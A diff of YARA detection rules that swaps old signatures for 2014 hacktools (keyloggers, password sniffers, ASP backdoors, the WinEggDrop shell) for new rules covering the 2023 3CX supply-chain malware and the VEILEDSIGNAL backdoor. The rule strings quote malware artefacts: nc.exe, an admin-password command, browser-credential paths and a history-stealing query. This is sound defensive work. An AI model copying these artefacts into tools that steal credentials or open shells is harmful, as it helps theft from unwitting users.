+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L168-L184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c2733c2f7dcca82e5a0b2301777fb54853d04dfa893bcf88ecbec34d37e1a38a"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb"
+		hash2 = "ac99602999bf9823f221372378f95baa4fc68929bac3a10e8d9a107ec8074eca"
+		hash3 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
 
 	strings:
-		$s0 = "d:\\documents and settings\\loveengeng\\desktop\\source\\bypass\\lcc\\ie.dll" fullword ascii
-		$s1 = "LOADER ERROR" fullword ascii
-		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
-		$s7 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+		$s1 = "20230313064152Z0"
+		$s2 = "Developer ID Application: 3CX (33CF4654HL)"
 
 	condition:
-		all of them
+		( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Editkeylogreadme
+rule SIGNATURE_BASE_APT_MAL_Macos_NK_3CX_DYLIB_Mar23_1
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file EditKeyLogReadMe.txt"
+		description = "Detects malicious DYLIB files related to 3CX compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
-		date = "2014-11-23"
+		id = "a19904d3-9b2d-561f-b734-20bf09584fa7"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1825-L1843"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dfa90540b0e58346f4b6ea12e30c1404e15fbe5a"
-		logic_hash = "a58a2336e7d714a2e7f60eec8dacbee9a7190552dd791d8b6eba084ffaf0904a"
-		score = 60
-		quality = 35
+		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L188-L214"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e52c76de1e995cc7084ddb390b60f4bc66e5bdf89aaa28ef3fd70578ed3145a6"
+		score = 80
+		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
+		hash2 = "fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7"
 
 	strings:
-		$s0 = "editKeyLog.exe KeyLog.exe," fullword ascii
-		$s1 = "WinEggDrop.DLL" fullword ascii
-		$s2 = "nc.exe" fullword ascii
-		$s3 = "KeyLog.exe" fullword ascii
-		$s4 = "EditKeyLog.exe" fullword ascii
-		$s5 = "wineggdrop" fullword ascii
+		$xc1 = { 37 15 00 13 16 16 1B 55 4F 54 4A 5A 52 2D 13 14
+               1E 15 0D 09 5A 34 2E 5A 4B 4A 54 4A 41 5A 2D 13
+               14 4C 4E 41 5A 02 4C 4E 53 5A 3B 0A 0A 16 1F 2D
+               1F 18 31 13 0E 55 4F 49 4D 54 49 4C 5A 52 31 32
+               2E 37 36 56 5A 16 13 11 1F 5A 3D 1F 19 11 15 53
+               5A 39 12 08 15 17 1F 55 4B 4A 42 54 4A 54 4F 49
+               4F 43 54 4B 48 42 5A 29 1B 1C 1B 08 13 55 4F 49
+               4D 54 49 4C 7A }
+		$xc2 = { 41 49 19 02 25 1b 0f 0e 12 25 0e 15 11 1f 14 25 19 15 14 0e 1f 14 0e 47 5f 09 41 25 25 0e 0f 0e 17 1b 47 }
+		$xc3 = { 55 29 03 09 0e 1f 17 55 36 13 18 08 1b 08 03 55 39 15 08 1f 29 1f 08 0c 13 19 1f 09 55 29 03 09 0e 1f 17 2c 1f 08 09 13 15 14 54 0a 16 13 09 0e }
 
 	condition:
-		3 of them
+		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Passsniffer_Zip_Folder_Readme
+rule SIGNATURE_BASE_APT_SUSP_NK_3CX_Malicious_Samples_Mar23_1
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file readme.txt"
+		description = "Detects indicator (event name) found in samples related to 3CX compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
-		date = "2014-11-23"
+		id = "b233846a-19df-579b-a674-233d66824008"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1845-L1860"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a52545ae62ddb0ea52905cbb61d895a51bfe9bcd"
-		logic_hash = "d9e6cd2ba7e98481664b0560184a07349bb471dd370c4b73ef5f5f05a8e89946"
-		score = 60
+		reference = "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L216-L232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ab8a4ac184eaba6eb56bfc49d6fa03f9b0877d75294aa9a242e9ac96482fab0"
+		score = 70
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+		hash2 = "59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983"
+		hash3 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+		hash4 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
 
 	strings:
-		$s0 = "PassSniffer.exe" fullword ascii
-		$s1 = "POP3/FTP Sniffer" fullword ascii
-		$s2 = "Password Sniffer V1.0" fullword ascii
+		$a1 = "AVMonitorRefreshEvent" wide fullword
 
 	condition:
 		1 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_Gina
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_Malicious_Samples_Mar23_4
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file gina.reg"
-		author = "Florian Roth (Nextron Systems)"
-		id = "85c19493-e6d4-55e8-8526-6817243e90cf"
-		date = "2014-11-23"
+		description = "Detects decrypted payload loaded inside 3CXDesktopApp.exe which downloads info stealer"
+		author = "MalGamy (Nextron Systems)"
+		id = "d11170df-570c-510c-80ec-39048acd0fbd"
+		date = "2023-03-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1862-L1877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "324acc52566baf4afdb0f3e4aaf76e42899e0cf6"
-		logic_hash = "f0ece7406a31f5a4212da5c4144233c5c45b8120d09267fdf7e291d6c9827384"
-		score = 60
+		reference = "https://twitter.com/WhichbufferArda/status/1641404343323688964?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L234-L249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "851c2c99ebafd4e5e9e140cfe3f2d03533846ca16f8151ae8ee0e83c692884b7"
+		logic_hash = "2fd56527a094b1f155cf33af402328835d4fb8aee9a058742d3e3763acef9e46"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\"gina\"=\"gina.dll\"" fullword ascii
-		$s1 = "REGEDIT4" fullword ascii
-		$s2 = "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon]" fullword ascii
+		$op1 = {41 69 D0 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 [4] 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 [4] 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 [4] 33 C1 4C 0F AF CF 4D 03 CA 45 8B D1 4C 0F AF D7 41 8D 0C 11 49 C1 E9 ?? 02 C8}
+		$op2 = {4D 0F AF CC 44 69 C2 [4] 4C 03 C9 45 8B D1 4D 0F AF D4 41 8D 0C 11 41 81 C0 [4] 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1}
+		$op3 = {33 C1 4C 0F AF C7 8B C8 C1 E1 ?? 4D 03 C2 33 C1}
 
 	condition:
-		all of them
+		2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Splitjoin
+rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Backdoor_Mar23 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2f1a69cd-34b3-5af0-a054-fe19d9becb25"
-		date = "2014-11-23"
+		description = "Detects 3CXDesktopApp MacOS Backdoor component"
+		author = "X__Junior (Nextron Systems)"
+		id = "80046c8e-0c2a-5885-b140-a6084f48160d"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1879-L1895"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4a9ef5d417038c4c76b72b5a636769a98bd2f8c"
-		logic_hash = "dede4518ed9be28e89bc67dab4e68503383c16746f088f37a4c8069e256183ca"
-		score = 60
+		reference = "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L251-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67"
+		logic_hash = "777a0a29c376f3697021dd627e716c31bda7933c5f40a8fe79b80e3cea46ce43"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "Not for distribution without the authors permission" fullword wide
-		$s2 = "Utility to split and rejoin files.0" fullword wide
-		$s5 = "Copyright (c) Angus Johnson 2001-2002" fullword wide
-		$s19 = "SplitJoin" fullword wide
+		$sa1 = "%s/.main_storage" ascii fullword
+		$sa2 = "%s/UpdateAgent" ascii fullword
+		$op1 = { 31 C0 41 80 34 06 ?? 48 FF C0 48 83 F8 ?? 75 ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 F7 48 89 D9 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 F7 5B 41 5E 41 5F E9 ?? ?? ?? ?? 5B 41 5E 41 5F C3}
+		$op2 = { 0F 11 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 31 C0 80 B4 04 ?? ?? ?? ?? ?? 48 FF C0}
 
 	condition:
-		all of them
+		(( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and filesize <6MB and ((1 of ($sa*) and 1 of ($op*)) or all of ($sa*))) or ( all of ($op*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Editkeylog
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_ICONIC_Stealer_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file EditKeyLog.exe"
+		description = "Detects ICONIC stealer payload used in the 3CX incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "db083c04-9e5c-5cfd-b4d4-eecf28191b6b"
-		date = "2014-11-23"
+		id = "e92b5b90-1146-5235-9711-a4d42689c49b"
+		date = "2023-03-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1897-L1913"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a450c31f13c23426b24624f53873e4fc3777dc6b"
-		logic_hash = "0efb173598117857c5bf7894f017d655653e843dd0a44439d1b10b7e5c59b248"
-		score = 60
+		reference = "https://github.com/volexity/threat-intel/blob/main/2023/2023-03-30%203CX/attachments/iconicstealer.7z"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L279-L304"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f57a2af4a5b9e71e2b72ddc3839400731d9d37eb4349c393b37b3f86c0c7f73"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "8ab3a5eaaf8c296080fadf56b265194681d7da5da7c02562953a4cb60e147423"
 
 	strings:
-		$s1 = "Press Any Ke" fullword ascii
-		$s2 = "Enter 1 O" fullword ascii
-		$s3 = "Bon >0 & <65535L" fullword ascii
-		$s4 = "--Choose " fullword ascii
+		$s1 = "{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}" wide fullword
+		$s2 = "******************************** %s ******************************" wide fullword
+		$s3 = "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data" wide fullword
+		$s4 = "AppData\\Roaming\\Mozilla\\Firefox\\Profiles" wide fullword
+		$s5 = "SELECT url, title FROM urls ORDER BY id DESC LIMIT 500" wide fullword
+		$s6 = "TEXT value in %s.%s" ascii fullword
+		$op1 = { 48 63 d1 48 63 ce 49 03 d1 49 03 cd 4c 63 c7 e8 87 1f 09 00 8b 45 d0 44 8d 04 37 }
+		$op2 = { 48 8b c8 8b 56 f0 48 89 46 d8 e8 78 8f f8 ff e9 ec 13 00 00 c7 46 20 ff ff ff ff e9 e0 13 00 00 33 ff }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <4000KB and 4 of them or 6 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Passsniffer
+rule SIGNATURE_BASE_APT_MAL_NK_3CX_Macos_Elextron_App_Mar23_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file PassSniffer.exe"
+		description = "Detects macOS malware used in the 3CX incident"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f5965aa8-0f78-56fd-8e3e-6dc013942cb3"
-		date = "2014-11-23"
+		id = "7a3755d4-37e5-5d3b-93aa-34edb557f2d5"
+		date = "2023-03-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1915-L1933"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dcce4c577728e8edf7ed38ac6ef6a1e68afb2c9f"
-		logic_hash = "771b45473c48618c43c6be84dd37b2ccb23643f1674d437763cb78ce560067c0"
-		score = 60
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L306-L328"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00dd28c3edd94e04e35ee9e3a43c30b5a0a1ad21ec8ecf2099bbeb9de2fca8d0"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "51079c7e549cbad25429ff98b6d6ca02dc9234e466dd9b75a5e05b9d7b95af72"
+		hash2 = "f7ba7f9bf608128894196cf7314f68b78d2a6df10718c8e0cd64dbe3b86bc730"
 
 	strings:
-		$s2 = "Sniff" fullword ascii
-		$s3 = "GetLas" fullword ascii
-		$s4 = "VersionExA" fullword ascii
-		$s10 = " Only RuntUZ" fullword ascii
-		$s12 = "emcpysetprintf\\" ascii
-		$s13 = "WSFtartup" fullword ascii
+		$a1 = "com.apple.security.cs.allow-unsigned-executable-memory" ascii
+		$a2 = "com.electron.3cx-desktop-app" ascii fullword
+		$s1 = "s8T/RXMlALbXfowom9qk15FgtdI=" ascii
+		$s2 = "o8NQKPJE6voVZUIGtXihq7lp0cY=" ascii
 
 	condition:
-		all of them
+		uint16(0)==0xfacf and filesize <400KB and ( all of ($a*) and 1 of ($s*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Aspfile2
+rule SIGNATURE_BASE_MAL_3Cxdesktopapp_Macos_Updateagent_Mar23 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file aspfile2.asp"
+		description = "Detects 3CXDesktopApp MacOS UpdateAgent backdoor component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "42bbcc16-a6d7-53d7-8651-1a28c6b26ee8"
-		date = "2014-11-23"
+		id = "596eb6d0-f96f-5106-ae67-9372d238e4cf"
+		date = "2023-03-30"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1935-L1951"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "14efbc6cb01b809ad75a535d32b9da4df517ff29"
-		logic_hash = "0fd52e646751b14840f30100382c5171fd001c05110dccb4ac87be9b2c4b6131"
-		score = 60
+		reference = "https://twitter.com/patrickwardle/status/1641692164303515653?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L330-L354"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9e9a5f8d86356796162cee881c843cde9eaedfb3"
+		logic_hash = "0818a8f0b59a9baaefaa0b505f8261e0e0df283e79da8e95dc71e9afdca224ab"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "response.write \"command completed success!\" " fullword ascii
-		$s1 = "for each co in foditems " fullword ascii
-		$s3 = "<input type=text name=text6 value=\"<%= szCMD6 %>\"><br> " fullword ascii
-		$s19 = "<title>Hello! Welcome </title>" fullword ascii
+		$a1 = "/3CX Desktop App/.main_storage" ascii
+		$x1 = ";3cx_auth_token_content=%s;__tutma=true"
+		$s1 = "\"url\": \"https://"
+		$s3 = "/dev/null"
+		$s4 = "\"AccountName\": \""
 
 	condition:
-		all of them
+		uint16(0)==0xfeca and filesize <6MB and (1 of ($x*) or ($a1 and all of ($s*))) or all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Unpack_Rar_Folder_Injectt
+rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_2
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cc7d1a36-1214-5a14-8589-9eb2339a8700"
-		date = "2014-11-23"
+		description = "Detects malicious VEILEDSIGNAL backdoor"
+		author = "X__Junior"
+		id = "ff1fa0bd-19b7-553a-9506-bc5aa5d29056"
+		date = "2023-04-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1953-L1976"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "80f39e77d4a34ecc6621ae0f4d5be7563ab27ea6"
-		logic_hash = "f9d682a9438f49cf8292c33e680537d8c2137b8cba2670430b92d0a620de85b9"
-		score = 60
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L373-L392"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c4887a5cd6d98e273ba6e9ea3c1d8f770ef26239819ea24a1bfebd81d6870505"
+		logic_hash = "a15f7f06be5e620baf33d595afc35246dae0307978984af832940a74ef2c84eb"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "%s -Install                          -->To Install The Service" fullword ascii
-		$s1 = "Explorer.exe" fullword ascii
-		$s2 = "%s -Start                            -->To Start The Service" fullword ascii
-		$s3 = "%s -Stop                             -->To Stop The Service" fullword ascii
-		$s4 = "The Port Is Out Of Range" fullword ascii
-		$s7 = "Fail To Set The Port" fullword ascii
-		$s11 = "\\psapi.dll" ascii
-		$s20 = "TInject.Dll" fullword ascii
-		$x1 = "Software\\Microsoft\\Internet Explorer\\WinEggDropShell" fullword ascii
-		$x2 = "injectt.exe" fullword ascii
+		$sa1 = "\\.\\pipe\\gecko.nativeMessaging" ascii
+		$sa2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" ascii
+		$sa3 = "application/json, text/javascript, */*; q=0.01" ascii
+		$op1 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
+		$op2 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
+		$op3 = { 48 89 74 24 ?? 45 33 C0 89 74 24 ?? 41 B9 ?? ?? ?? ?? 89 74 24 ?? 48 8B D8 48 C7 00 ?? ?? ?? ?? 48 8B 0F 41 8D 50 ?? 48 89 44 24 ?? 89 74 24 ?? FF 15}
 
 	condition:
-		(1 of ($x*)) and (3 of ($s*))
+		all of ($op*) or all of ($sa*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_Jc_Wineggdrop_Shell
+rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_3
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Jc.WinEggDrop Shell.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "219df3a1-fe1c-5d33-ab3e-1b3cbd104c9e"
-		date = "2014-11-23"
+		description = "Detects malicious VEILEDSIGNAL backdoor"
+		author = "X__Junior"
+		id = "6b6f984e-242a-5b84-baa9-6311992cde9b"
+		date = "2023-04-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1978-L1997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "820674b59f32f2cf72df50ba4411d7132d863ad2"
-		logic_hash = "af43980b4052cef56884e9d6bdbb12919f1a86420a3f189e30fba624ab37a420"
-		score = 60
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L394-L410"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "595392959b609caf088d027a23443cf2fefd043607ccdec3de19ad3bb43a74b1"
+		logic_hash = "58f860926db4a7dfefbd39ee35efaa0081b7e31a361efce02f5144266ab652a6"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Sniffer.dll" fullword ascii
-		$s4 = ":Execute net.exe user Administrator pass" fullword ascii
-		$s5 = "Fport.exe or mport.exe " fullword ascii
-		$s6 = ":Password Sniffering Is Running |Not Running " fullword ascii
-		$s9 = ": The Terminal Service Port Has Been Set To NewPort" fullword ascii
-		$s15 = ": Del www.exe                   " fullword ascii
-		$s20 = ":Dir *.exe                    " fullword ascii
+		$op1 = { 4C 8B CB 4C 89 74 24 ?? 4C 8D 05 ?? ?? ?? ?? 44 89 74 24 ?? 33 D2 33 C9 FF 15}
+		$op2 = { 89 7? 24 ?? 44 8B CD 4C 8B C? 48 89 44 24 ?? 33 D2 33 C9 FF 15}
+		$op3 = { 8B 54 24 ?? 4C 8D 4C 24 ?? 45 8D 46 ?? 44 89 74 24 ?? 48 8B CB FF 15}
+		$op4 = { 48 8D 44 24 ?? 45 33 C9 41 B8 01 00 00 40 48 89 44 24 ?? 41 8B D5 48 8B CF FF 15}
 
 	condition:
-		2 of them
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Aspbackdoor_Asp1
+rule SIGNATURE_BASE_APT_MAL_VEILEDSIGNAL_Backdoor_Apr23_4
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file asp1.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fa5128c5-efd5-55dd-880a-2952942e2035"
-		date = "2014-11-23"
+		description = "Detects malicious VEILEDSIGNAL backdoor"
+		author = "X__Junior"
+		id = "77340ec0-36bb-5c47-995f-4e6f76b68fe1"
+		date = "2023-04-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L1999-L2017"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9ef9f34392a673c64525fcd56449a9fb1d1f3c50"
-		logic_hash = "7ce1911d7524e9961f907f863b3966817bcad7a571c933dac6a76e1d8a1eeaf8"
-		score = 60
+		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_3cx_compromise_mar23.yar#L412-L428"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9b0761f81afb102bb784b398b16faa965594e469a7fcfdfd553ced19cc17e70b"
+		logic_hash = "ad22df404d948073428fc35b0c8fbfea25da3bc66e46ea6397ff751ae65d5939"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
